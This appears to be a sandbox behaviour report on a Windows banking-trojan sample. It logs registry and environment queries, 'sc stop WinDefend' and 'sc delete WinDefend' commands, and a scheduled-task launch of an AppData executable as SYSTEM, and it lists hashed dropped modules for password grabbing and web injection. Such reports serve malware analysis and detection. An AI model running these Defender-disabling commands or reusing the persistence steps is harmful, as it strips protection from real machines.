Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN value_name = StackVersion, data = 2.0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN value_name = StackVersion, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN value_name = StackVersion, data = 2.0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = 0, type = REG_SZ True 2
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 2
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds value_name = PipelineMaxStackSizeMB, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds value_name = PipelineMaxStackSizeMB, type = REG_NONE False 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Module (1)
»
Operation Module Additional Information Success Count Logfile
Get Filename - process_name = c:\windows\system32\windowspowershell\v1.0\powershell.exe, file_name_orig = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, size = 2048 True 1
Fn
User (11)
»
Operation Additional Information Success Count Logfile
Lookup Privilege privilege = SeDebugPrivilege, luid = 20 True 1
Fn
Get Username user_name_out = 2XC7u663GxWc True 10
Fn
System (6)
»
Operation Additional Information Success Count Logfile
Get Info type = Operating System True 4
Fn
Get Info type = SYSTEM_PROCESS_INFORMATION True 1
Fn
Get Info type = Hardware Information True 1
Fn
Environment (125)
»
Operation Additional Information Success Count Logfile
Get Environment String name = MshEnableTrace False 116
Fn
Get Environment String name = PSMODULEPATH, result_out = C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ True 1
Fn
Get Environment String name = HOMEDRIVE, result_out = C: True 1
Fn
Get Environment String name = HOMEPATH, result_out = \Users\2XC7u663GxWc True 1
Fn
Get Environment String name = HomeDrive, result_out = C: True 1
Fn
Get Environment String name = HomePath, result_out = \Users\2XC7u663GxWc True 1
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 1
Fn
Get Environment String name = PATH True 1
Fn
Get Environment String name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 1
Fn
Set Environment String name = PSMODULEPATH, value = C:\Users\2XC7u663GxWc\Documents\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ True 1
Fn
Process #20: sc.exe
10 0
»
Information Value
ID #20
File Name c:\windows\system32\sc.exe
Command Line sc stop WinDefend
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:55, Reason: Child Process
Unmonitor End Time: 00:00:57, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0x83c
Parent PID 0xfd8 (c:\windows\system32\cmd.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username ZGW5TDPU\2XC7u663GxWc
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x 134
0x 8C0
Host Behavior
File (3)
»
Operation Filename Additional Information Success Count Logfile
Get Info STD_OUTPUT_HANDLE type = file_type True 1
Fn
Open STD_OUTPUT_HANDLE - True 1
Fn
Write STD_OUTPUT_HANDLE size = 349 True 1
Fn
Data
Module (1)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\system32\sc.exe base_address = 0xec0000 True 1
Fn
Service (3)
»
Operation Additional Information Success Count Logfile
Control service_name = WinDefend True 1
Fn
Open database_name = SERVICES_ACTIVE_DATABASE True 1
Fn
Open Manager database_name = SERVICES_ACTIVE_DATABASE True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 1627-02-24 06:58:31 (UTC) True 1
Fn
Get Time type = Ticks, time = 10905749 True 1
Fn
Get Time type = Performance Ctr, time = 12979045394 True 1
Fn
Process #21: sc.exe
10 0
»
Information Value
ID #21
File Name c:\windows\system32\sc.exe
Command Line sc delete WinDefend
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:56, Reason: Child Process
Unmonitor End Time: 00:00:57, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0x8e4
Parent PID 0xffc (c:\windows\system32\cmd.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username ZGW5TDPU\2XC7u663GxWc
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x 8D0
0x 8D4
Host Behavior
File (3)
»
Operation Filename Additional Information Success Count Logfile
Get Info STD_OUTPUT_HANDLE type = file_type True 1
Fn
Open STD_OUTPUT_HANDLE - True 1
Fn
Write STD_OUTPUT_HANDLE size = 28 True 1
Fn
Data
Module (1)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\system32\sc.exe base_address = 0xb70000 True 1
Fn
Service (3)
»
Operation Additional Information Success Count Logfile
Delete service_name = WinDefend True 1
Fn
Open database_name = SERVICES_ACTIVE_DATABASE True 1
Fn
Open Manager database_name = SERVICES_ACTIVE_DATABASE True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 1627-02-24 06:58:32 (UTC) True 1
Fn
Get Time type = Ticks, time = 10906326 True 1
Fn
Get Time type = Performance Ctr, time = 13036544912 True 1
Fn
Process #23: taskeng.exe
0 0
»
Information Value
ID #23
File Name c:\windows\system32\taskeng.exe
Command Line taskeng.exe {E6ACF615-28B7-4794-9E2D-7B8DC4832D2F} S-1-5-18:NT AUTHORITY\System:Service:
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:01:22, Reason: Created Scheduled Job
Unmonitor End Time: 00:04:16, Reason: Terminated by Timeout
Monitor Duration 00:02:54
Remark No high level activity detected in monitored regions
OS Process Information
»
Information Value
PID 0x914
Parent PID 0x34c (Unknown)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level System (Elevated)
Username NT AUTHORITY\SYSTEM
Enabled Privileges SeLockMemoryPrivilege, SeTcbPrivilege, SeSystemProfilePrivilege, SeProfileSingleProcessPrivilege, SeIncreaseBasePriorityPrivilege, SeCreatePagefilePrivilege, SeCreatePermanentPrivilege, SeDebugPrivilege, SeAuditPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege, SeIncreaseWorkingSetPrivilege, SeTimeZonePrivilege, SeCreateSymbolicLinkPrivilege
Thread IDs
0x 91C
0x 920
0x 188
0x 15C
0x 12C
0x 138
0x 1E4
Process #24: tadiapce.exe
17003 150
»
Information Value
ID #24
File Name c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe
Command Line C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\tadiapce.exe
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:01:23, Reason: Child Process
Unmonitor End Time: 00:04:16, Reason: Terminated by Timeout
Monitor Duration 00:02:53
OS Process Information
»
Information Value
PID 0x214
Parent PID 0x914 (c:\windows\system32\taskeng.exe)
Bitness 32-bit
Is Created or Modified Executable True
Integrity Level System (Elevated)
Username NT AUTHORITY\SYSTEM
Enabled Privileges SeLockMemoryPrivilege, SeTcbPrivilege, SeSystemProfilePrivilege, SeProfileSingleProcessPrivilege, SeIncreaseBasePriorityPrivilege, SeCreatePagefilePrivilege, SeCreatePermanentPrivilege, SeDebugPrivilege, SeAuditPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege, SeIncreaseWorkingSetPrivilege, SeTimeZonePrivilege, SeCreateSymbolicLinkPrivilege
Thread IDs
0x 264
0x 28C
0x 2AC
0x 348
0x 120
0x 930
0x 174
0x 990
0x 9E4
0x 230
0x 93C
0x 51C
0x A38
0x 738
0x 510
0x C18
0x 308
0x 20C
0x 150
0x 754
0x D18
0x D0C
0x D08
0x D20
0x D10
0x D2C
0x 658
0x 810
0x D34
0x B84
0x B88
0x A2C
0x A40
0x A10
0x D44
0x D48
0x D80
0x D88
0x D7C
0x DC0
0x D78
0x DB0
0x DB8
0x D98
0x D8C
0x DAC
0x D94
0x D9C
0x 8EC
0x BF0
0x BEC
0x BE8
0x BDC
0x DF8
0x BA0
0x BAC
0x 604
0x 680
0x B0
0x DE0
0x DE8
0x DEC
0x E18
0x E1C
0x DF0
0x DD4
0x DD0
0x E30
0x DB4
0x F50
0x F60
0x F44
0x F54
0x F58
Dropped Files
»
Filename File Size Hash Values YARA Match Actions
settings.ini 17.89 KB MD5: ebbf1f31b6de4fc2b9de6c80494eeb39
SHA1: 14db29cd23f83a5de771a2cc6cbb41a0ef101b0f
SHA256: 2d690ec2c6c859767a9dc29eaedc67c2de103037951494a3eeae6335bac4ec00
SSDeep: 384:f8ip6dC2AWGShPfXbM2ffBME5fNPLmEFqQ12TJPW:f8RdQW7PfXbM2fNvzFFn12TJPW 		False
...
C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\systeminfo32 16.17 KB MD5: 3a8f710f2a7c79c6829e9682af59040d
SHA1: b9bf965045b3ddc6f332bc36e9cdd52ca03d8b7f
SHA256: 0d7fec5789664c377667a89fe1a2098fb201014bafdf475d002a57c96689eb72
SSDeep: 384:/IpVB1xeH7b8hOaGjM6wM9hDUxYoxOoNgkR8UQrra1bVTDnDpPecSKT:/IYbb1xb91COygkRDk6 		False
...
C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32 578.94 KB MD5: cbf6993507c3ce333977627d5dd80825
SHA1: 9c100fcbb95c3620cadfaf2eec5e63b2660585b0
SHA256: 08feb5be3c64dee2d43cab334ca37db9214c8d8f5acefd17487d60e38d2b8475
SSDeep: 12288:lWRNtoO/UtADpB/0C8EM3n0B8gmJBxx1B4DEmbmuDd6AIKJtW6l/Ve3kUzJ:lOogUtAf0YM388gmJBv1mDEGJIAe0Vo 		False
...
C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32 1.07 MB MD5: 30e83e96a2ca2bd824fc6683557d0754
SHA1: e7b8b2235afa4185291be09b938ab84a3f56e507
SHA256: 070f2bb875507aee0cad7a540382f0ff5c18fa4249f6e7729f5530be5843f6e0
SSDeep: 24576:s0OCisGaLSGuZas9pjTeDfHn65brnW0+rflbbi:DOCioLROasTIfiYjlbm 		False
...
settings.ini 18.08 KB MD5: bc40d11cfc6d5938ca3ca99d4847e0c7
SHA1: ece693ab628a17b5d572925f7eb361c61879ed61
SHA256: 99755825296d798f05089b5747382eae6d7b4691e3109ef21363e837149a3cb4
SSDeep: 384:f8ip6dC2AWGShPfXbMOfP0fNPLmEFqQ12TJPW:f8RdQW7PfXbM5zFFn12TJPW 		False
...
C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dpost 928 bytes MD5: e74f7c2aacf9459d8412c96369d786fb
SHA1: 2eb4812bd7d99ffbd84d5381b71475574505d992
SHA256: 82fddb63f4725e9775e9e5e51c83030dd29e339678c3bf1f82931628fb7730af
SSDeep: 24:Bbu1tph88ekE5QIvuI8DGrrRQkFLqiSMRjlbH5V6RUqaE:xqtpm8EXdpr2k8ejdH5VdqaE 		False
...
C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dinj 129.53 KB MD5: cc9f120d816b196026d034e7409b8544
SHA1: 03e17fc20d16992a7d0b7137ce8748ad2ecffc6c
SHA256: 6ddde728b3ee6369ffed441f095e0d973efe8e39db2b56d0d458c10f9ef1b9ac
SSDeep: 3072:hGq0IAYKU55Ioa8g/up43AbPu9bc0l91aVcsmXwiCRyoRW:wq0n8Coa8eup4weQqswwxPW 		False
...
C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\sinj 83.42 KB MD5: fc0ba72f44f4f18f8580b1ed490dea30
SHA1: 98bfd5a30ede84fe45cc951db555b8accdda7620
SHA256: 5fe39efbea646a051b8c52b0e0ed99c23fe72e74fd19bbae22b18ae773b115d2
SSDeep: 1536:B4EJ3ipsjCHVwsL4Q1Uqh1DTY5xuiosEayrzSMEg1m+RAzVGoQ7IY3S:BFJ3qsjVsL4oh1/YLbosEayhmKoHwv3S 		False
...
Modified Files
»
Filename File Size Hash Values YARA Match Actions
c:\programdata\microsoft\crypto\rsa\s-1-5-18\6d14e4b1d8ca773bab785d1be032546e_3912d7c0-2df4-4798-9de9-c60c58f001d5 1.02 KB MD5: 25182eaddd35243f1c663c9eef9bbbe6
SHA1: 6b011af171e9fc33e315660538cec3c34195e71e
SHA256: af3275ba9dfd94740241eadb93eb66f282da7543e61ab2544d46d6c68e38ed3b
SSDeep: 24:rKf5b6UKa6LXaZBwFgftYNIra4on9okhVBPYP:kb6U4XeBqnIWL2MBPI 		False
...
Host Behavior
COM (3)
»
Operation Class Interface Additional Information Success Count Logfile
Create TaskScheduler ITaskService cls_context = CLSCTX_INPROC_SERVER True 1
Fn
Execute TaskScheduler ITaskService method_name = Connect True 1
Fn
Execute TaskScheduler ITaskService method_name = GetFolder, new_interface = ITaskFolder True 1
Fn
File (1663)
»
Operation Filename Additional Information Success Count Logfile
Create settings.ini desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\systeminfo32 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\systeminfo32 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dinj desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\sinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\sinj desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dpost desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32_configs\dpost desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create settings.ini desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create settings.ini desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\sinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\systeminfo32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32_configs\dpost desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\sinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\systeminfo32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32_configs\dpost desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\sinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\systeminfo32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\sinj desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32_configs\dpost desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\injectDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\networkDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\psfin32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\pwgrab32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\Data\shareDll32 desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ True 1
Fn
